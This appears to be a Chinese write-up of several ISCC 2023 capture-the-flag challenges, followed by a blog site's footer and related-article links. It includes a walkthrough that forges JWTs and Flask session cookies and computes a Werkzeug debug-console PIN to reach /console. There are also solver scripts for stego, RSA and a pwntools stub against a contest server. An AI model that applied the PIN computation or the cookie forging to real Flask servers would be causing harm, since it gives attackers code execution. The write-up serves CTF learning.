iscc2023

iscc

还没想好名字的塔防游戏

就是那句话首字母,加上玩游戏通关后有提示就是后面的字母

Flask中的pin值计算

  1. 先f12,看到base64到路由/getusername

image-20240505192242118

  1. 输入app.py,得到路由/crawler

  2. 进入后发现是一个计算,写一个python脚本

    import requests
    import re
    import time
    url= "http://101.200.138.180:10006/crawler?answer="
    url2="http://101.200.138.180:10006/get_expression"
    re1=requests.get(url=url)
    re1=requests.get(url=url2).text
    print(re1)
    res=re.findall("\:\"(\d.*?)\"\}",re1)
    result = "".join(res)
    result1=result.replace("\\u00d","/")
    result2=result1.replace("\\u00f","*")
    print(result2)
    num=eval(result2)
    print(num)
    url3=url+str(num)
    print(url3)
    re1=requests.get(url=url3)
    print(re1.text)
    

    记得卡着刚刷新,要不然运行就超过1s了

image-20240505200500253

  1. 看到有绝对路径和下一个路由

    将jwt伪造一下

    得到

    image-20240505212426908

    佛曰:功德圆满。地址02:42:ac:18:00:02:,机器码提示给你了/machine_id

  2. 将role改为vip,得到welcome_to_iscc_club.

  3. 用flask-cookie的伪造,密匙为上面的wecome…

    image-20240505215926320

  4. eyJyb2xlIjoic3VwZXJ2aXAifQ.ZjeQkg.fHz-4MH66yHxhwFLMBEOXFAZiS0

    得到acff8a1c-6825-4b9b-b8e1-8983ce1a8b94

  5. 对回声海螺说告诉我username。得到pincalculate

  6. 计算pin

    import hashlib
    from itertools import chainprobably_public_bits = ['pincalculate'  # username 可通过/etc/passwd获取'flask.app',  # modname默认值'Flask',  # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))'/usr/local/lib/python3.11/site-packages/flask/app.py'  # 路径 可报错得到  getattr(mod, '__file__', None)
    ]private_bits = ['2661722402',  # /sys/class/net/eth0/address mac地址十进制'acff8a1c-6825-4b9b-b8e1-8983ce1a8b94'# 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
    ]# 下面为源码里面抄的,不需要修改
    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
    h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
    if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv = None
    if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)
    
  7. 得到pin252-749-991,输入给/console,得到flag

  8. ISCC{8a1lukljnz4mOc*5}

Number_is_the_key

下载附件,得到一个excel表格,里面空白,但是可以改后缀.zip然后解压,看

attachment-1\xl\worksheets路径下的sheet1.xml

脚本提取坐标格子

脚本:

import re# 从 cells.txt 文件中读取内容
with open('cells.txt', 'r') as file:lines = file.readlines()# 提取 r="" 中的字符串
extracted_strings = [re.search(r'(?<=r=")(.*?)(?=")', line).group(1) for line in lines if re.search(r'(?<=r=")(.*?)(?=")', line)]# 将提取的字符串逐行写入到 result1.txt 文件中
with open('result1.txt', 'w') as result_file:for string in extracted_strings:result_file.write(string + '\n')print("提取并写入完成")

写入到excel文件

import openpyxl
import openpyxl
from openpyxl.utils import column_index_from_string
from openpyxl.styles import PatternFill
import re
# 打开要写入的 Excel 文件
wb = openpyxl.Workbook()
ws = wb.active# 从 result.txt 文件中读取行列信息
cell_addresses = []
with open('result2.txt', 'r') as file:for line in file:cell_addresses.append(line.strip())
def separate_letters_and_numbers(cell_address):letter_part = re.findall(r'[A-Z]+', cell_address)[0]  # 提取字母部分number_part = int(re.findall(r'\d+', cell_address)[0])  # 提取数字部分return letter_part, number_part
# 将每个单元格填充为黑色
black_fill = PatternFill(start_color='000000', end_color='000000', fill_type='solid')
for cell_address in cell_addresses:if cell_address : col, row = separate_letters_and_numbers(cell_address)row = int(row)  # 将行号转换为整数类型col = column_index_from_string(col)  # 将列号字符串转换为整数类型cell = ws.cell(row=row, column=col)cell.fill = black_fill# 保存修改后的 Excel 文件
wb.save('output_file.xlsx')

要调整一下表格列宽
最后扫码得到flag。

这狗玩意flag和密文一样c了,搞得我随波逐流搞好久。

misc3

看文件就是base64加补全

直接上脚本

def has_lowercase(s):return any(c.islower() for c in s)
wf = open("补全.txt", "w")with open('targ.txt', 'r') as read_file, open('result3.txt', 'w') as write_file:for line_number, line in enumerate(read_file, start=1):line = line.strip()if has_lowercase(line):result = f"第 {line_number} 行含有小写字母,被认定为 Base64 编码\n"missing_padding = len(line) % 4if missing_padding != 0:line += "=" * (4 - missing_padding)elif has_lowercase(line)==False:result = f"第 {line_number} 行不含小写字母,被认定为 Base32 编码\n"missing_padding = len(line) % 8if missing_padding != 0:line += "=" * (8 - missing_padding)else:result=f"{line_number} is error!!!\n"write_file.write(result)wf.write(line + "\n")
print("处理完成,结果已写入 result3.txt 文件")
import re
import base64b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'# ccc.txt为待解密的base64隐写字符串所在的文件
f = open('result4.txt','r')
base64str = f.readline()# pattern2用于匹配两个等号情况时,等号前的一个字符
# pattern2用于匹配一个等号情况时,等号前的一个字符
pattern2 = r'(\S)==$'
pattern1 = r'(\S)=$'# 提取后的隐写二进制字符加入binstring中
binstring = ''# 逐行读取待解密的base64隐写字符串,逐行处理
while(base64str):# 先匹配两个等号的情况,如果匹配不上,再配置一个等号的情况# 如果无等号,则没有隐藏,无需处理if re.compile(pattern2).findall(base64str):# mstr为等号前的一个字符,该字符为隐写二进制信息所在的字符mstr = re.compile(pattern2).findall(base64str)[0]# 确认mstr字符对应的base64二进制数,赋值给mbinmbin = bin(b64chars.find(mstr))# mbin格式如0b100,mbin[0:2]为0b# mbin[2:].zfill(6)为将0b后面的二进制数前面补0,使0b后面的长度为6mbin2 = mbin[0:2] + mbin[2:].zfill(6)# 两个等号情况隐写了4位二进制数,所以提取mbin2的后4bit# 赋值给stegobin,这就是隐藏的二进制信息stegobin = mbin2[-4:]binstring += stegobinelif re.compile(pattern1).findall(base64str):mstr = re.compile(pattern1).findall(base64str)[0]mbin = bin(b64chars.find(mstr))mbin2 = mbin[0:2] + mbin[2:].zfill(6)# 一个等号情况隐写了2位二进制数,所以提取mbin2的后2bitstegobin = mbin2[-2:]binstring += stegobinbase64str = f.readline()# stegobin将各行隐藏的二进制字符拼接在一起
# 从第0位开始,8bit、8bit处理,所以range的步进为8
for i in range(0,len(binstring),8):# int(xxx,2),将二进制字符串转换为10进制的整数,再用chr()转为字符print(chr(int(binstring[i:i+8],2)),end='')

RSA_KU

啥RSA是misc的?上脚本算了

import gmpy2
from Crypto.Util.number import *
from sympy import *n = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977
e = 65537
c = 113336899490047394830648308595184748618685435705050853190824970789873291321364935264741158627863123848109212403094826946061784693390759775814786249815695145506755202953550547123410384035332579618418780169404291585539397048419594317969015873456494274546241134676960397647377835071954961583237732282561675665382
v = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668067056973833292274532016607871906443481233958300928276492550916101187841666991944275728863657788124666879987399045804435273107746626297122522298113586003834
b = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668066482326285878341068180156082719320570801770055174426452966817548862938770659420487687194933539128855877517847711670959794869291907075654200433400668220458
p,q=symbols("p q")
a=solve([(p-2)*(q-1)-v,(p-1)*(q-2)-b],[p,q])
print(a)
p=11104861498641160020551133747582851050482827883841239117180799157472078278661946047575808556331157873693827396366774529894387508349540416345196575506278923
q=n//p
d=gmpy2.invert(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))

chaos

直接上脚本

from pwn import *		
context(log_level='debug',os='linux',arch='amd64')
io=remote('182.92.237.102',10010)def debug():gdb.attach(io)pause()def cmd(x):io.recvuntil("Please Choice:")io.sendline(str(x))
def add(size,content=b'a'*4):cmd(1)io.recvuntil("Please Input Size:")io.sendline(str(size))io.recvuntil("Content of Chaos!:")io.sendline(content) 
def delete(idx):cmd(2)io.recvuntil("Please Input index:")io.sendline(str(idx))
def edit(idx,content):cmd(3)io.recvuntil("Please Input index:")io.sendline(str(idx))io.recvuntil("Change Chaos Content:")io.sendline(content) 
def show(idx):cmd(4)io.recvuntil("[?] Enter chunk id: ")io.sendline(str(idx))
def backdoor(size,content):cmd(5)io.recvuntil("Please Input Chunk size :")io.sendline(str(size))io.recvuntil("Please Input Content :")io.sendline(content)backdoor(0x68,b'Flag')
#backdoor(0x20,b'aaaa')
#debug()io.interactive()

1

代码审计

审代码进入geneSign

geneSign?param=flag.txtread

这个就是checksign要的key

b1c87b8fa0c3aaf0980dcb6447a95970

image-20240513212015477

然后应该在/De1ta里得到flag

image-20240513212808272

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/15944.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

力扣-Mysql-3328-查找每个州的城市 II(中等)

一、题目来源 3328. 查找每个州的城市 II - 力扣&#xff08;LeetCode&#xff09; 二、数据表结构 表&#xff1a;cities ---------------------- | Column Name | Type | ---------------------- | state | varchar | | city | varchar | ----------------…

Vue2:组件

Vue2&#xff1a;组件 非单文件组件定义注册使用 单文件组件 组件是Vue中最核心的内容&#xff0c;在编写页面时&#xff0c;将整个页面视为一个个组件&#xff0c;再把组件拼接起来&#xff0c;这样每个组件之间相互独立&#xff0c;有自己的结构样式&#xff0c;使页面编写思…

力扣 LeetCode 28. 找出字符串中第一个匹配项的下标(Day4:字符串)

解题思路&#xff1a; KMP算法 需要先求得最长相等前后缀&#xff0c;并记录在next数组中&#xff0c;也就是前缀表&#xff0c;前缀表是用来回退的&#xff0c;它记录了模式串与主串(文本串)不匹配的时候&#xff0c;模式串应该从哪里开始重新匹配。 next[ j - 1 ] 记录了 …

计算机网络 (1)互联网的组成

一、互联网的边缘部分 互联网的边缘部分由所有连接在互联网上的主机组成&#xff0c;这些主机又称为端系统&#xff08;end system&#xff09;。端系统可以是各种类型的计算机设备&#xff0c;如个人电脑、智能手机、网络摄像头等&#xff0c;也可以是大型计算机或服务器。端系…

智慧军营安防方案

1. 引言 智慧安防方案集成高清视频监控、智能分析与大数据管理&#xff0c;打造全方位安全防护体系。通过先进技术&#xff0c;提升预警与应急响应能力&#xff0c;确保安全无死角。 2. 视频监控技术 采用高清摄像设备与智能识别算法&#xff0c;实现全景监控与细节跟踪&#…

ABAP开发学习——ST05 ABAP SQL跟踪工具

操作步骤 第一步使用ST05之前&#xff0c;将要查的程序停留想要看的操作的前一步&#xff0c;这里想看到取数操作&#xff0c;所以停留在选择界面 第二步进入ST05 选择SQL Trace 然后激活 第三步去执行程序 第四步ST05取消激活 第五步查看操作 选完时间直接执行

AtCoder ABC378 A-D题解

比赛链接:ABC378 比较简单的一次 ABC。 Problem A: Code #include <bits/stdc.h> using namespace std; int main(){cin>>A[1]>>A[2]>>A[3]>>A[4];sort(A1,A5);if(A[1]A[2] && A[3]A[4])cout<<2<<endl;else{if(A[1]A[2]…

Windows上安装专业版IDEA2024并激活

1、IDEA官方下载 搜索IDEA官网点击进入&#xff0c;点击Download&#xff08;目前这个激活脚本只能激活2024.1.7&#xff0c;2024.2.x的版本都不能激活&#xff0c;2024.1.7版本已上传资源&#xff09;&#xff0c;如图&#xff1a; 2、开始安装 1&#xff09;、双击下载的.…

表达式求值问题(中缀转后缀,对后缀求值)详解

目录 实验题目 理解中缀和后缀表达式 问题分析 1转化为中缀表达式 2计算后缀表达式 完整代码 运行结果 实验题目 实验题目&#xff1a;表达式求值问题。这里限定的表达式求值问题是&#xff1a; 用户输入一个包含“”、“-”、“*”、“/”、正整数和圆括号的合法数学表…

AD22怎么按照板子形状铺铜

如何按照板子形状来铺铜&#xff1f; 选择铺铜管理器 选择板外形 我这里图里VCC没画就选择VCC&#xff0c; 你选什么层&#xff0c;就勾什么层 死铜移除勾选 效果如下&#xff1a;

【视觉SLAM】2-三维空间刚体运动的数学表示

读书笔记&#xff1a;学习空间变换的三种数学表达形式。 文章目录 1. 旋转矩阵1.1 向量运算1.2 坐标系空间变换1.3 变换矩阵与齐次坐标 2. 旋转向量和欧拉角2.1 旋转向量2.2 欧拉角 3. 四元数 1. 旋转矩阵 1.1 向量运算 对于三维空间中的两个向量 a , b ∈ R 3 a,b \in \R^3 …

研发费用资本化的意义

1.更真实地反映企业价值&#xff1a;研发费用是企业为创造未来经济利益而进行的投资&#xff0c;通过将其资本化并作为无形资产计入资产负债表&#xff0c;可以更真实地反映企业的资产总额和长期投资价值。这有助于投资者、债权人和其他利益相关者更准确地评估企业的财务状况、…

Ubuntu24.04安装Anaconda3+Pycharm

一、引言 重装系统已经过去一段时间了&#xff0c;现在安装一下 Anaconda 和 Pycharm。 参考连接&#xff1a; Ubuntu中安装Anaconda3和Pycharm 及其环境搭建Ubuntu18.04安装Pycharm教程ubuntu系统安装Anaconda及Pycharm在移动硬盘上搭建Ubuntu24.04深度学习环境&#xff08;…

稀疏矩阵(Sparse Matrix)及其存储格式详解

稀疏矩阵&#xff08;Sparse Matrix&#xff09;是线性代数和计算机科学中的一个重要概念&#xff0c;广泛应用于科学计算、工程模拟、图像处理、机器学习等多个领域。与稠密矩阵&#xff08;Dense Matrix&#xff09;相比&#xff0c;稀疏矩阵大部分元素为零&#xff0c;仅有少…

操作系统:页表中的页表项

操作系统&#xff1a;页表中的页表项 页表是操作系统用于跟踪进程使用的虚拟地址与系统内存中相应物理地址之间映射的数据结构。 页表项&#xff08;Page Table Entry&#xff0c;PTE&#xff09;是页表中的一个条目&#xff0c;用于存储有关特定内存页的信息。每个页表项包含…

Docker部署Kafka SASL_SSL认证,并集成到Spring Boot

1&#xff0c;创建证书和密钥 需要openssl环境&#xff0c;如果是Window下&#xff0c;下载openssl Win32/Win64 OpenSSL Installer for Windows - Shining Light Productions 还需要keytool环境&#xff0c;此环境是在jdk环境下 本案例所使用的账号密码均为&#xff1a; ka…

文章解读与仿真程序复现思路——电力系统自动化EI\CSCD\北大核心《基于改进容积卡尔曼滤波的含光伏配电网动态状态估计》

本专栏栏目提供文章与程序复现思路&#xff0c;具体已有的论文与论文源程序可翻阅本博主免费的专栏栏目《论文与完整程序》 论文与完整源程序_电网论文源程序的博客-CSDN博客https://blog.csdn.net/liang674027206/category_12531414.html 电网论文源程序-CSDN博客电网论文源…

jenkins使用cli发行uni-app到h5

官网文档HBuilderX 文档 首先确定是否存在环境变量 正常情况cmd中执行cli 如果提示 cli 不是内部或外部命令&#xff0c;也不是可运行的程序或批处理文件。请先配置环境变量 Freestyle Project项目在Build Steps中增加Execute Windows batch command命令如下 d: cd D:\devsof…

FMEA 在新兴技术领域(如量子计算、人工智能芯片等)的应用挑战与机遇

【大家好&#xff0c;我是唐Sun&#xff0c;唐Sun的唐&#xff0c;唐Sun的Sun。】 摘要&#xff1a; 本文深入探讨了 FMEA&#xff08;失效模式及后果分析&#xff09;在如量子计算、人工智能芯片等新兴技术领域的应用所面临的挑战与机遇。随着科技的飞速进步&#xff0c;新兴技…

websocket身份验证

websocket身份验证 前言 上一集我们就完成了websocket初始化的任务&#xff0c;那么我们完成这个内容之后就应该完成一个任务&#xff0c;当客户端与服务端连接成功之后&#xff0c;客户端应该主动发起一个身份认证的消息。 身份认证proto 我们看一眼proto文件的内容。 我…